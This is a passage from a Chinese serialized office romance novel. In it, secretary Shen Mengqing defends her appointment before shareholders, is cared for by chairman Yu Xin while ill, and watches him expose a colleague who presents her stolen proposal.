她提前看过了各个股东的信息,这会一个个对着脸,张图他爸张明尤其好认,两人脸上有着如出一辙的倨傲,用鼻孔看人,和别人欠了他们钱似的。 大部分股东对余辛的态度都不冷不热的,偶有两三个看着关系还行的,会到他跟前寒暄几句。 到了九点整,会议准时开始。 余辛是这场会议的主讲人,作为新上任的董事长,总要汇报一下未来的发展计划,给在座的股东们吃吃定心丸。 议程进行得还算顺利,讲述的过程中也没有人提出异议,直到最后一页的内容结束,余辛视线掠过股东们的脸,像是在等待他们发问。 沈孟青看得出,大部分股东对余辛的方案还算满意,只有少数几人在面面相觑,都不想当出头鸟。 场面沉寂下来,不知过了多久,余辛状似耐心耗尽,冷冷吐出一句:“没有异议的话,这次会议就到此结束了。” “等等!”张明开了口,“我想问余总一个题外话。” 余辛双手交叉,向椅背靠去:“张总你说。” “我想知道董秘岗位的用人标准。”张明说这话时,遥遥望向沈孟青。 余辛盯着张明,漠然地说:“我记得礼帆把所有候选人的简历都发给各位过目了。” “这我知道,但谁清楚你们选人过程中有没有搞些小手脚呢。”张明来了劲,一股脑地说着,“虽说股东也投票选人了,但毕竟不是实名制的,票数很好做手脚。而且,据我所知,公司里有很多关于余总和沈秘书的流言蜚语,如果那些传言是真的,那这个结果实在很难服众。” 余辛的眼神变得幽深了些:“张总,你们的顾虑可以理解,但是把一些无聊的饭后谈资放在会议上说,是不是有点可笑了。退一万步说,秘书选人最核心的考量是能力匹配度,这与你说的这些都无关。” 张明不以为然:“可笑?董秘这么重要的位置,倘若真的个人人品出了差错,给公司造成了不良影响,我们股东损失的权益你承担得了吗。” 余辛眉毛一挑:“当然可以。并且我认为,沈秘书完全能胜任。” “张总。”沈孟青见这炮火直直往自己身上引来,早就坐不住了,“首先,那些流言蜚语完全是无稽之谈,在我担任愈生董秘前,我已经收到了叁通董助的offer,即便我没当选上,我也可以去叁通就职,不需要靠其他东西来谋求这份工作。” “其次,我认为正如余总所说,能不能承担秘书工作的个人能力与这些传闻无关,我有半年的试用期,我相信余总和人事都制定了一套工作评估体系,我非常欢迎各位股东进行监督,如若我的工作成果不达标,即便是试用期不予转正,我也没有异议。” “至于人品,我也不是第一年在愈生工作了,调取一下档案里以前的年度评分或是问问共事过的同事和客户自然就知道了。” 沈孟青这话说得不卑不亢,磊落坦荡,倒显得张明用一些没被证实的绯闻来攻击十分低劣。 话都被她说尽了,张明抱起胳膊,蔑然哼了声,说:“那就看看你能不能转正。” 等沈孟青坐下,余辛抬起头,凌厉的目光扫过其他神色各异的股东,这会没有人再站出来说话了。 “散会吧。”他淡淡开口道。 等股东们三三两两地走了,会议室里转眼间只剩下余辛和沈孟青。 沈孟青从椅子上站起身,收拾起桌子上余留的垃圾,余辛仍坐着一动不动,默不作声地看着她。 收拾完了其他位置的东西,就只剩余辛跟前的那瓶没喝完的水,沈孟青踢踢踏踏走过去,好声好气地说:“余总,请问这水您还喝吗?” “不喝了。”余辛沉沉说道。 沈孟青:“好的。” 她顺手将矿泉水瓶扔进垃圾篓里:“那我就先回去了,等会你离开的时候,记得把你的椅子放回原位。” 话音一落,她正要走,手腕却忽地被余辛拽住。 沈孟青感受到余辛的手落在她胳膊上的力度,扭过头,不解地看向他。 “你干什么?”她问。 余辛也说不出自己这是怎么了,当初明明是他费尽心思让她留下,她也出色地执行着每一项秘书工作,可他却没来由心里空落落的。 尤其是昨天晚上,他每分每秒都难以遏制地想起沈孟青和李青河在约会,再怎么用公司的琐事转移自己的注意力,疯了一样地工作,也没办法掐断深入脑髓的怪情绪。 就好像,她越是完美地在他身边扮演着秘书的角色,他们两人之间的距离就越来越远。 余辛迎上她微愠的目光,语气微凉地说道:“沈孟青,你是真的想在愈生当秘书吗?” 他这问题莫名其妙,沈孟青细眉一皱,红唇轻启说:“不然呢?” 这算什么,入职后补加的面试吗。 “要不要我再和你讲解一下个人工作经验匹配度,对岗位的见解看法和未来几年的职业规划?”她嗔怒地说。 余辛松开手:“不用了。” 沈孟青瞪了他眼,抬脚正想走,不料鞋尖被椅子底下三叉开的轮子一卡,身子没稳住,直愣愣朝前栽去。 她本来想伸手抓住桌沿,可由于今天上午要开股东大会,早上保洁阿姨把桌子擦得一尘不染,光溜溜的,她的手指直接顺着桌面滑到半空,没有一个能产生摩擦力的东西。 就在前倾到快一半时,沈孟青腰间被一个胳膊揽住,硬生生将她拉了回来。 她背靠住一个紧实有力的胸膛,吓得还微微喘着气。 余辛还保持着在背后半搂住她的动作,没来得及抽手,门就被人打开了。 “余总,有客户电话。” 陈墨人未进声先到,他在看见这两人诡异的姿势后,手急忙拉住门把手关上了门,随即紧紧盯着这两人。 沈孟青如梦初醒,往旁边连跨了好几脚,远离了余辛。 她原以为陈特助撞见这种场景后会退出这房间的,谁知道他就在这一声不吭地旁观着,视线在两人脸上逡巡,像是察觉不到氛围的尴尬。 这两人真是一个比一个缺心眼—— 作者有话说:辛子:秘书工资还是开太低了 限制了我的财力发挥(不是) 缺心眼俩兄弟 第45章 第四十五章 留在北城吧,好不好。…… 秋天过去得很快, 在某个寻常的夜里,一阵凉风直接不由分说地卷走了金黄的秋季,迎来了寒冷的冬天。 十二月初的北城已然下起大雪, 早上起床变成了最困难的事情, 闹铃响起时,天色还昏暗着。 沈孟青一到办公室就脱下了御寒的羽绒服, 这办公室说是留给特助和秘书的, 但陈墨基本没在里头待过, 不过短短一个月, 房间里头就被沈孟青的东西占满了。 工作了一个多小时后,沈孟青腰有点酸, 站起身伸了个懒腰, 活络了下筋骨。 她两手撑在桌上,眼睛注视着电脑屏幕, 倏地门前有人影经过, 沈孟青抬头一看,是祝绍明和李青河。 他俩人亦是望见了沈孟青,反正余辛还在忙,便提脚走进了这董秘的小办公室。 “好久不见。”李青河率先朝沈孟青招呼说。 他一眼瞥见沈孟青桌上那只自己送的玫瑰小熊, 靠墙摆着, 十分夺目。这玫瑰是永生花, 永远不会凋谢, 李青河不自觉勾了勾嘴角。 沈孟青给他们拉来俩凳子,又让方莉端来了两杯温水。 等落了座, 沈孟青朝他们问道:“你们今天怎么都来了。” 李青河喝了口水,温吞地说:“有点投资生意上的事找余辛说。” “嗐,赛车场的事。”祝绍明径直说道, “有人找上我们,想盘下赛车场这块地,出价还挺高的,我们就想着来问问余辛的意见。” 沈孟青了然地点点头,那块地确实很适合做些开发。 李青河问她道:“做秘书感觉怎么样,余辛有没有压榨你的劳动力?” “还好,上司不都那样。”沈孟青笑笑说。 李青河往后一靠,半开玩笑半真心地说:“要不你来康河吧,我保证不压榨你,如果有,我爸第一个不同意。” 祝绍明瞥了眼李青河酸溜溜的眼神,在心里吐槽余辛就是缺根筋,让沈孟青来当他秘书把人留在身边,又不懂得好好追人家,真让人天天给他干活。 沈孟青说:“那我还得在愈生多待会,跳槽太频繁了也不好,等我在愈生多干几年秘书,说不定拿着这简历靠着李总的人脉去康河当部门经理呢。” 她说这话时,余辛刚好走进来。 沈孟青没有解释,她相信余辛听得出她这话是玩笑话,再说了,她暂时还没有去当乙方的打算。 场面太平和,祝绍明看热闹不嫌事大,肩膀撞了下余辛,拱火说:“余董事长,你的秘书想去别的地方当领导了,你留不留人家?” 余辛睨了眼沈孟青,沈孟青置身事外一般,好整以暇地看着他。 “留。” 他这声过于短促,转瞬即逝,沈孟青望向他的目光里有一丝松动。 转而他又说道:“沈秘书这么努力,总不能抛下自己的工作成果走人吧。” 沈孟青:“……” 真不应该期待他嘴里能说出什么好话。 祝绍明见余辛这嘴硬得不行,比那金刚石还难撬,再聊下去温柔体贴的李青河都要把他墙角挖出个大洞来,将人扛走了他都不知道呢。 他转移话题说:“行了,既然你忙完了,那咱们进你办公室聊吧。” 祝绍明站起身,一手揽一个,左拥右抱地进了董事长办公室。 房间里安静下来,沈孟青的注意力回到电脑屏幕上。 临近十二点时,她收到了余辛发来的消息,说是中午和祝绍明李青河一起吃午饭,已经订好了餐厅。 没等多久,他们就从办公室走了出来,沈孟青拿起羽绒服,抬脚跟了上去。 出电梯时,李青河转过头,想邀请沈孟青上他的车,但祝绍明的胳膊一直勾在他肩上,怎么都甩不掉。 他还开口道:“哎,我坐你的车吧,这大冬天的我手冷,正好不想开车。” 祝绍明话一说完,也不管李青河车停在哪,闷头就拽着他往前走,余辛和沈孟青两人被留在后头。 余辛朝自己的车扬了扬下巴,说:“走吧。” 地下车库有点阴冷,沈孟青想着等会就要坐上车了,懒得在这么短的时间里套羽绒服,不想忽然打了好几个喷嚏。 下一秒,她脖子上就搭上了一条黑色的羊绒围巾,围巾上裹满了余辛的香水味道,霸道地混入她的鼻息里。 余辛给她戴围巾的手法太粗糙,完全遮盖住了她下半张脸,围巾上的绒毛轻触在她柔软的脸上,有点扎人,痒痒的。 沈孟青睁着一双清亮善睐的杏眼,朝他眨了眨眼。 余辛移开了视线,低声说:“等会要一起吃饭,如果你感冒了,我们都会被传染。” “……我没这么脆弱,也不知道是谁之前重感冒,整个人憔悴得不行。” 沈孟青话音刚落,又打了个喷嚏。 余辛替她拉开副驾驶的门:“赶紧上车吧,身强力壮的沈女士。” 在车上坐好后,为了尽快让车子里暖起来,余辛将风速开得很大,沈孟青很快就没那么冷了,把他的围巾摘了下来,揉在手心里。 中午的车流量依旧未减,还好有没被云层遮挡的日头,冬日的暖阳照在身上格外舒服,每辆汽车都像是砌了一身金色盔甲,熠熠生光。 余辛半张脸都被阳光照耀着,沈孟青瞧见他纤长的眼睫毛上跳跃着粼粼的光闪,他仿佛融入了眼前这一幅暖色调的画面里,脸上的冷意都被驱散了些。 沈孟青靠在座椅上,突然出声说:“如果我要去李青河的公司,你真会留我?” “你不会去的。”余辛似是十分笃定。 沈孟青:“为什么?” 余辛侧头看了她眼:“你不想做乙方。” 沈孟青惊讶地看向他,她没想到,余辛竟然知道她内心的想法。 “这么了解我?”她说。 余辛没说话,只挑了挑眉,但沈孟青看得出来,他身后那尾巴又翘起来了。 不过,今天她还真想刨根问底一下。 “如果我就是想走了呢?不管是去李青河的公司,还是回楚城。”沈孟青追问说。 绿灯的倒计时结束,从短暂的黄色跳到红色,余辛踩下刹车,车身稳稳停住。 余辛抱起胳膊,注视着她说:“那就再挽留你一次。” “怎么挽留?又是升职加薪?”沈孟青有点想笑。 余辛伸出左手搭在方向盘上,右手撑在他们俩的座位中间,望向她的眼神陡然变得深邃。 沈孟青好奇地看向他,不知道他这阵仗,是想说些什么。 “沈孟青,留在北城吧,好不好。” 或许是这句话太直白,也或许是余辛那双微佻的眼睛在盯人的时候太过深情,沈孟青感觉到呼吸一紧,身体犹如被卷入漩涡中,周围的空气变得稀薄,她缺氧得大脑一片空白,急需新鲜氧气的摄入。 她转过头,指尖慌乱地按下窗户,心里的悸动被冷空气按下了些。 下回还是不能玩过头了,他们俩再怎么说也是上过床的关系,即便熄了火,也是两棵共燃过的草木,一有点擦枪走火,就容易烧起来。 余辛见她对着大开的窗户吹几度的寒风,神色一沉道:“我看你是真想走了,巴不得生病不工作。” 沈孟青置若罔闻,等冷静了些后,才关上了窗户。 祝绍明和李青河早他们不少到了餐厅,都是熟人,他们两人便直接点好了餐,等那磨磨唧唧的两人一到就可以吃上了。 沈孟青走进房间,李青河主动接过她的外套和围巾,帮忙在衣架上挂好。 祝绍明恨铁不成钢地瞪了眼余辛,余辛却和没看见似的,也脱下外套给李青河,让他挂上。 李青河坐下后,把点好的单子给沈孟青看,笑着说:“我们点了几个菜,你们俩看看还有什么要加的吗,我记得你喜欢吃排骨,给你点了个红烧的。” “谢谢。”沈孟青接过单子简单看了两眼,没什么意见。 余辛慵懒地靠在椅背上,更是无所谓:“就这样。” 祝绍明和个局外人般,一会看看这俩,一会看看那俩。 他对沈孟青问道:“一直没找着机会问,你和李青河怎么认识的?” 沈孟青:“家里人介绍认识的。” 李青河:“相亲。” 李青河没想到沈孟青会说得这么委婉,猜到她可能不想让别人知道他们俩相过亲,抱歉地看了眼她。 他说的是实话,沈孟青没办法怪他,只回了个微笑。还好桌上也没几个人,算起来,也就祝绍明不知道这事。 “相亲?!” 祝绍明差些从凳子上跳起来,原来这两人还有这层关系呢,难怪李青河这么光明正大地追人家,余辛这是一开始就输在起跑线上了。 他看了眼余辛,这人还垂头看着桌面,脸色难辨,祝绍明只当他是心如死灰了。 要不撮合李青河和沈孟青算了,余辛看起来是没什么胜算了,祝绍明想。 “你们家里人还挺有眼光,男才女貌的,般配得很,怎么我爸妈给我找的相亲对象就不太行呢。”祝绍明叹了口气说,“真羡慕你们。” 他这话一说完,余辛悠悠抬起来头,眸里朝他放射出一道锋利的冷光。 得,自己不主动点,别人一撺掇又急。 祝绍明无视了他。 余辛淡淡说道:“说不定在你爸妈眼里,你也不太行。” 祝绍明:“……” 李青河笑着打圆场:“这也是看缘分的,我爸妈之前找的我也没看上,都合不来。” 他这话有弦外之意,但沈孟青没在意,她下意识皱了皱眉,打心里不太喜欢这种评论相亲对象的话题。 “什么看不看上的,你在这看不上人家,指不定在人家眼里你也是个歪瓜裂枣。” 余辛翘着椅子说。 沈孟青眉眼这才舒展开来。 有时候,余辛这毒舌的嘴也挺有用—— 作者有话说:辛子:兄弟你错了,赢在起跑线的是我,哥经历过的事,你无法想象(不是[墨镜] 阿青:狗头上司最正确的一集 第46章 第四十六章 “弟弟,你不会是要亲我吧…… 李青河不常生气, 也习惯了余辛这性子,听见他的话后撇了撇嘴,正好服务员来上菜, 把这话题揭过了。 吃饭时, 李青河绅士地照顾着沈孟青,时不时地给她夹菜, 帮她转桌子。 祝绍明闲着也是闲着, 有样学样地给余辛夹菜, 等绿油油的青菜从半空落进他碗里, 余辛冷着脸敲了下祝绍明的筷子,睨了他眼。 一顿饭吃完, 祝绍明今天心情好, 主动提出请客,在前台买了单。 李青河下午还有事, 自己开车去了别的地方, 祝绍明要回愈生的停车场取车,就和沈孟青一道坐余辛的车回去。 他走在前头,给沈孟青开了副驾驶的门。 沈孟青摆摆手:“你坐前面吧。” “不用,我喜欢坐后面, 宽敞。”祝绍明拍了拍门, “后座可是领导位, 我坐余少后座的机会太少了, 可不得抓住机会享受享受。而且,你坐也不合适。” 这话倒是把沈孟青架住了, 她只好坐了进去。 车子启动后,祝绍明倾身向前,随手点开了一个放音乐的电台, 给寒冷的气氛升升温。 他眼尖地望见挡风玻璃前一朵凋零的小黄花,虽说嫩黄的颜色还在,但花朵已经失去水分耷拉下来了,在这车里突兀得很。 余辛也挺奇怪的,这花不是装饰品,他也不是闲来爱赏花的人,放在这做什么。 祝绍明在两人中间说:“你留着这花干嘛,早都枯萎了,扔了吧。” 说完,他看向沈孟青,他伸手够不到,而余辛在开车,沈孟青可以拈起来开窗扔掉。 沈孟青没反应,一声不吭的,他便又转头看余辛。 余辛寒声道:“等会我要是急刹车,你整个人飞到玻璃上别怪我。” “嘁。” 祝绍明窝回了座位,看来今天他起哄李青河和沈孟青真是给余辛记恨上了,随便说朵花都能怼他几句。 这车上就他地位最低,不如沈孟青也就算了,连朵花都不如。 他眼睛在前头两人身上瞟来瞟去,忽然觉得沈孟青手里的围巾有点眼熟,上午在余辛办公室里,好像看见过。 他在心里冷哼一声,等着看余辛还能嘴硬多久。 …… 回了办公室后,余辛找来陈墨,通知了沈孟青一件事。 他突然对四月举办的那次策划大赛很感兴趣,想开一次公开的分享会,让获奖的同事们完成一次策划方案的汇报。 沈孟青知道他清楚自己方案被窃取的事,她眸里闪过狐疑的光芒,而余辛自然也懂她的疑惑,在宣布完这事后,让陈墨出了门,留她单独说话。 余辛斜斜靠在落地窗前,对沈孟青说:“想问就问吧。” “你想对梁军和张图出手了?”沈孟青开门见山地问他。 余辛没有否认也没有确认:“只靠这个没什么用。” 沈孟青点点头,认同他的说法。 她转而又问道:“有什么要我帮你的吗?” 余辛微凉的眼眸落在她身上,他身形颀长,气质冷峻,背后是在日光下镶着金边的写字楼和广阔的穹顶。 “不用,你自己的方案,你最清楚。”余辛说道,“我对你有信心。” 如他所说,这种小事不会对梁军和张图造成什么影响,所以他要想敲打梁军和张图,其实没必要在这种小事上纠结。 而他大张旗鼓把这件事翻出来,沈孟青知道,只是为了给她一个公正。 日光偏移,暖烘烘地照在余辛身上,也融化了沈孟青心里的某个角落。 “谢谢。”她由衷地说。 余辛耸耸肩,站直后走到工位前拿起一个文件夹,递给沈孟青说: “等事成了之后再谢吧,在此之前,你好好组织一下这次汇报,你是主策划人。” 沈孟青接过文件夹,扬了扬头说:“放心吧。” 组织这种分享会对她来说不算难事,然而她还没好好准备几天,突如其来的重感冒就大大拉低了她的工作效率。 沈孟青请了半天假,躺在家里裹紧被子的时候,心想一定是被余辛咒的。 她把电脑架在垫得极厚的被子上,只露出个脑袋和两只手,半靠在床上。刚吃完感冒药,眼皮在打架,她感觉电脑上的字越看越模糊,捏了捏脸让自己清醒些。 等今日份的工作完成得差不多了,沈孟青一看时间,已经到了晚上六点。 以往一个小时就能做完的事,她花了仨小时。 沈孟青把电脑往旁边一撂,打算先缩进被窝里补个觉。 身体还生着病,即便睡着了,她的脑袋也昏昏沉沉的,明明没有做梦,却像是坠入了深不见底的沼泽之中,她越挣扎,陷入得越深,怎么也爬不出来。 在手机第六次响起铃声的时候,她惺忪转醒,望着雪白的天花板呆滞了良久,才意识到有人打她电话。 沈孟青都没看清电话上的备注,接起后应了声:“喂?” 她的嗓子变得低沉又暗哑,发出的声音快糊作一团,她差点都没反应过来是她自己在说话。 “你在家吗?” 是余辛打来的,听他语气,似是有些焦急。 沈孟青喉咙干涸,她咽了咽空气说:“在,怎么了?” 余辛:“那我敲了半天门你怎么没开。” 沈孟青一怔,说:“可能是我睡得太熟了,你现在还在我门口?” “嗯。” 余辛又抬手敲了敲门。 这下沈孟青听见了,她掀开被子起床,上下都套了件毛绒绒的家居服,伸手将睡乱的头发抓顺。 她内衣都没穿,还好是冬天,外套够厚什么也看不出。 打开门,余辛还穿着精致的西装大衣,像是不怕冷,看他样子,估计是刚从公司过来。 门打开的冷风呼呼灌了进来,沈孟青不自觉抖了下,余辛让她回客厅待着,两三步进了门。 等他也走到客厅,沈孟青这才发现他手上还拎着个袋子,应当是外卖。 余辛骨节分明的手指拆着紧封的袋子,边对她说道:“饭都没吃吧。” “没。” 沈孟青坐在茶几前的地上,吸了吸鼻子。 鼻塞使她说话时有重重的鼻音,听起来和撒娇似的,比平常软了几分。 余辛将袋子里的餐食一个个掏出来,小米粥,虾饺,核桃包……一共六七样,十分丰盛。 沈孟青揭开盖子,捧起热乎的粥喝了口,味道微甜,一股暖流从喉口散至全身,很舒服。 她看着余辛在沙发上坐下,问道:“你吃饭了吗?” “我不饿。”余辛脱下大衣,随手往旁边一放。 这外卖袋里放了两双筷子,她拆开另一双递给余辛:“反正我吃不完,你也吃点。” 余辛没有推拒,接下筷子陪她一起吃。 屋子里很安静,两人就这么默不作声地吃着饭,这个久违的画面有种别样的温馨。 沈孟青嚼了两口饱满弹牙的虾饺,向余辛问道:“所以,你来这是为了给我送饭?” 余辛搁下筷子说:“慰问生病员工。” “我怎么不知道公司还有这一项员工关怀呢?” 肚子填饱了之后,沈孟青感觉精神气恢复了不少,都有劲来打趣余辛了。 她笑着说:“那咱们公司这么多人,一有生病的你就去慰问,你累不累啊。” 余辛靠在沙发上,两条腿大剌剌地放着,他眼皮一抬,见沈孟青笑得傻乎乎的,她应该是有点低烧,脸红得和鲜嫩多汁的水蜜桃般,眼睛水灵灵地挂在他身上。 余辛伸手托住她瘦削的下巴,往外转了下,手动让她移开了眼。 “得了便宜还卖乖。” 他轻声说道。 沈孟青哼了声,继续吃着饭,余辛在她侧后方凝视着她塞满食物鼓起的脸颊,出声问道:“温度计在哪?” “就电视机旁边那个柜子第二层。” 沈孟青说完,自己摸了下额头:“我没发烧吧。” 余辛站起身,缓缓勾下腰,温热的手背往沈孟青额头上一贴。 沈孟青霎时间被冻住,愣在原地,心里嘭地一声好像有什么东西炸开,她还没缓过来,余辛的手又游走到她的耳垂,轻柔地捏住。 沈孟青不由自主地颤栗了下。 她倏地意识到,这副身体对于他的触碰太过于熟悉,尤其是耳垂这种敏感部位,即使她在心里建起再牢固的城墙,也防御不住他,轻而易举地就能被他击溃,敞开大门。 “不好说。”余辛感觉她这两块肌肤都越摸越热。 电子体温计太久没用已经没电了,余辛取来了水银温度计,递给沈孟青。 沈孟青拉开家居服的拉链,抽出一条胳膊来,她潦草地扒拉开里层睡衣的领子,将温度计塞了进去。 余辛坐得高,不经意间,垂眸看见了那团雪白。 又这么没有防备心,余辛皱了皱眉,在后头剜了她眼,随即靠回沙发上,调整了下自己的视野。 他压下微乱的心绪,还不至于趁人之危。 没有人在计时,沈孟青夹着个温度计也没法再吃饭,两人就这么一高一低地干坐着。 等估摸着时间差不多了,沈孟青拿出温度计,低头旋了半天,也没找着那根刻度在哪。 她转而抬起头,后脑勺靠在沙发柔软的边沿,对着吊灯举起温度计,试图看清刻度显示的数字。 余辛只当她是烧傻了,连温度计都看不清。 他向前倾身,脑袋移至沈孟青脸庞上方,两人的目光在同一水平线上平形交汇。 沈孟青本来眯着一只眼睛在看,这会余辛的头完全遮住了她的光线,她睁开闭起的那只眼睛,正想嗔怪他,却在落进他那双幽深的眼眸里后,说不出话来。 这个姿势有点暧昧,沈孟青怔松地看着他,感冒使她的大脑失去正常的运转速度。 甚至,余辛的脸又下移了些,近在咫尺间,她能看见他睫毛在眼睑处轻颤。 她的嘴巴比脑子快一步地说出:“弟弟,你不会是要亲我吧。”—— 作者有话说:感冒使阿青变阿呆[害羞] 第47章 第四十七章 “想我亲你?” “?” 余辛伸出手, 一把抽走她手里的温度计:“没到三十八度,怎么烧得人都傻了。” 沈孟青连忙坐直了身子,揉了揉又酸又僵的脖子。 她在反应过来自己方才的虎狼之词后, 恨不得现在烧晕过去算了。 眼下在她家里, 她全然忘记了余辛是她的上司,这般熟悉的情景, 恍然间, 好像他们又回到了从前那段关系。 沈孟青尴尬地呵呵两声:“还是有点低烧的, 怪不得我头总晕晕的不得转, 话都说不利索了。” 余辛把温度计放下,悠哉哉看向她说:“我看你不是不会说话了, 是不小心说出心里话了吧。” “怎么可能!”她略带激动地说, “明明是你无缘无故凑我那么近,谁也会多想啊。” “想我亲你?”余辛还揪着这个话题不放。 沈孟青斩钉截铁道:“没有。” 余辛:“那就是想亲我。” 沈孟青:“没有!!!” 这人怎么听不懂人话呢。 “要不你求求我, 说不定我看在你生病了的份上, 就答应了。” 余辛铁了心要逗弄她,沈孟青看出来了,狠狠瞪了他眼后,毫不留情地下逐客令说:“余总, 我已经吃完了, 没什么事你就走吧。” 看见她那张骤然冷下来的脸, 余辛两手一摊:“我看你吃完药就走。” 她又不是小孩了, 吃个药还要人盯着。 沈孟青胳膊一撑地,站了起来, 走到柜子前咚咚哐哐把药拿出来,就着温水咕咚几口灌了下去。 “这下可以了吧?”她像是个让老师检查作业的学生,还张了下嘴。 余辛已然收拾好了她吃完的外卖, 把茶几擦了个锃亮,他提起垃圾,说:“行,那我走了。” 他走到门口,又出声说道:“明天如果还不舒服就别来公司了,不用硬撑。” 沈孟青窝回沙发上,裹着毯子喊了声:“知道了。” 她旋即打了俩喷嚏,合理怀疑是余辛在心里说她小话。 …… 睡了一夜后,沈孟青的感冒好了很多。 虽然余辛总是嘴欠惹恼她,但沈孟青不得不承认,在生病的那种脆弱时刻,他的出现还是让她感受到了一丝温暖的。 其实他这人就这样,外表看着冷酷得很,说起话来总喜欢怼人,不习惯直白地说出自己的情感或想法,但内心比大多数人都要柔软,外表的坚硬像是他从小搭建的防御机制。 她走进写字楼的电梯时,上一秒还浮现在脑海里的人,这会就站在角落里看着她。 余辛见她面色如常,问道:“感冒好了?” 沈孟青点点头,摁下关门键:“好多了。” “早上吃药了吗?”他说。 沈孟青有点想笑,侧头看向他说:“你要是想关心人,能不能别老问吃没吃药的?” 余辛抱起胳膊:“那我问什么?” “昨晚睡得怎么样,早饭吃过了吗,是不是不发烧了,还难受吗。”沈孟青一个个罗列着,说,“这不是能问很多吗。” 她说完,余辛没搭话,只直勾勾地注视着她,眼梢似是挂着似有若无的笑意。 “你知道你说这话的时候有点像什么吗?” 他眼神揶揄。 像朝他撒娇着抱怨的女朋友。 沈孟青也意识到了,迅速地撇过头,懊恼地说:“别说了。” 她想起姜羽怀疑余辛喜欢她的话来,其实她也不是感受不到那股若有若无的情愫,但别说余辛了,就连自己对余辛的感觉,她都说不明白。 这种因为身体情/欲而产生的感情,真的牢固吗,她不敢确信。欲望是个可怕的东西,它催化人体内产生的那种悸动,到底是情深,还是生理冲动,她分不清,脑子里像蒙起一层雾。 她心里悬起一把摇铃,在一些暧昧不清界限模糊的时刻,摇铃当啷作响,提醒她不要失了分寸。 沈孟青紧抿起嘴,一路沉默着到了办公室。 在这之后几天,余辛忙得见不着人,沈孟青也专注在分享会的策划上,那些暗生躁动的情绪波动渐渐偃旗息鼓,她又做回了那个脑子里只有工作的秘书。 分享会在周一下午举行,在此之前,她还让人事部做了几幅宣讲人的宣传海报,在公司的各个工作群里大肆宣传,吸引了不少人来预报名参与会议。 沈孟青特意预定了最大的会议室,宽阔敞亮的房间,有一面视野绝佳的落地窗,能容纳下两三百人。 中间最前头一排的座位是留给公司高层的,往后两排是各部门主管,再往后便留给同事们自由落座了。 来得人不少,股东们陆陆续续将第一排坐满,一些业务核心部门的领导还强制员工来参加这次活动。 参与分享的有六位同事,由当时策划大赛得奖的倒序进行,张图在最后出场。 张明这会正坐在座位上和周围的股东笑着寒暄,他很期待自己儿子今天的表现,也相信张图一定会成为这场公开会议的主角,给他好好长脸。 在会议正式开始前,沈孟青去了一趟洗手间。 她洗完手出来,和另一头走出的梁军打了个照面。 这还是她当上秘书后第一次私下碰到梁军,自从搬了办公室,她鲜少见到以前的领导和同事,毕竟董事办直管的部门只有媒介部,和销售部这些其他的部门中间还隔了层。 沈孟青朝他微微笑了笑,算是体面地打了招呼,毕竟就他之前做的那些事,她是一点好脸色都不想给。 但在梁军眼里,她这态度十分轻蔑,他嗤笑了声说:“沈秘书这是攀上了高枝,就忘本了?” “梁经理这话奇怪,我这怎么能叫忘本呢,我记得我当上秘书前已经辞掉了销售部的工作吧?”沈孟青笑意盎然,“我能攀上高枝也是我的本事,梁经理别在这打趣我了,攀关系这事儿您不是最擅长么?” 梁军两眼死死地盯着她:“我等着看余总能给你撑腰多久,他们这种豪门子弟,向来用了几个月就扔。” 沈孟青也不恼,淡淡说道:“我看梁经理是不正当手段使多了,看谁都和你一样肮脏。” 梁军被沈孟青戳到痛处,正要怒喝,梁如薇从两人身后走了出来。 “都快开始了,你们在这干嘛呢。” 她这话打散了沈孟青和梁军剑拔弩张的气氛,沈孟青笑了笑,和她一起进了会议室,梁军晚了会才进去。 沈孟青是这场会议的主持,时间一到,她便拿起话筒走到台上,说起开场词来。 她在学生时期做过很多次主持人,没想到过了几年也还不算生疏,她嗓子本就清亮圆润,主持的时候声调刻意端庄了些,字句入耳,似涓涓流水,听得人心里很熨贴。 屏幕前有一排灯光打在她身上,像是给她照出一层闪跃着光芒的描边,余辛坐在全会议室最中心的位置,看向自信耀眼的沈孟青,感觉她整个人像颗钻石一般,在不断地打磨下,达到了最精纯的璀璨度。 每位同事分享的时间在十五分钟左右,还会有十分钟的领导点评和问答,流程进行得还算快,大概两个小时后,就到了张图的顺序。 沈孟青也是头一回看他详细的方案,毕竟当时公布的名单上只有个方案名称和简介,别的信息都没有。 她坐在侧边靠前的位置,抬眼看向张图。 张图还是一如既往的张扬,在开始前,他还特意朝沈孟青递了个稍带挑衅的眼神。 点开PPT后,他一页页顺着往下讲解,沈孟青投射而去的视线随着时间流逝愈发的冰冷。 张图这份方案内容完完全全是她提交的最后一版,百分之九十的地方都一字未改,少数部分为了这十五分钟的演讲扩充了一些文字,但都是些没什么实质性内容的。 他和梁军还真是不要脸,窃取她方案还一个字不改,真是全然不担心会有什么负面后果。 张图的演讲稿无功无过,这个方案是沈孟青修订过很多次的成果,他只要循着内容说,就足以出彩。 在他汇报完后,底下响起了如雷般的掌声,张明更是难掩满脸的笑意,骄傲地大力鼓掌。 等到了问答环节,有张明在,其余几个股东不过是随口问了些浅显的问题,张图两三句话就能答完。 话筒传到了余辛手里,他低头翻了翻打印出来的方案资料,出声问道:“作为销售部人员,你为什么会选择推广新款保健品作为主题?” 张图没想到余辛会问选择方案主题的初衷,他先前预想到的问题都是些基于内容上细节的。 他迟滞了下,随后说道:“当时公司推出的新款保健品在市面上销售业绩不佳,我注意到了这个情况,所以想从如何推广的角度切入。” 余辛点点头,说:“看这份方案里有很多推广的数据支撑,其实核心来看更像媒介部做出来的方案,你平常也会关注媒介部的工作内容吗?” “呃,是的。”张图只能顺着他的话往下说。 “那你给我解释一下第四十页用到的这个大数据分析模型吧。” 余辛伸出手,指尖在纸上一点。 听见他的话,张图霎时间就懵了,他哪懂什么大数据分析模型! 他垂头将PPT翻阅得飞快,找到余辛说的那个模型,可他现在被余辛为难得脑子一团浆糊,看这上头的英文术语和天方夜谭一般。 他握紧话筒的掌心开始冒汗,腿也有些软,支支吾吾了半天,一句话也说不出。 余辛往椅背一靠,不再慷慨地给他时间:“你说不出,那是怎么用这个模型总结了好几页分析的。” “我……这个……” 张图求助地看向张明。 张明不知道他窃取方案这事,只当他是太紧张了,用眼神鼓励他有信心一些。 余辛冷笑了声:“这份方案不是你做的吧。” 他这话一出,原本寂静如斯的会议室骤然热闹起来,四下散开窃窃私语的声音。 张图气得脸涨红,但仍嘴硬地说:“就是我的方案,只是好几个月前的了,我记不清了。” “记不清?”余辛冷冽的声音落在张图耳朵里,和冷漠无情的地狱判官无异,“那我帮你回忆一下。” 他喊来陈墨,陈墨在投屏电脑上插入一个USB,电脑上显示出另一个PPT,不仔细看的话,和方才张图那份一模一样。 唯一不同的是,这份PPT所在的文件夹里有很多个方案版本,还细致地标记了每个版本详细的日期时间。 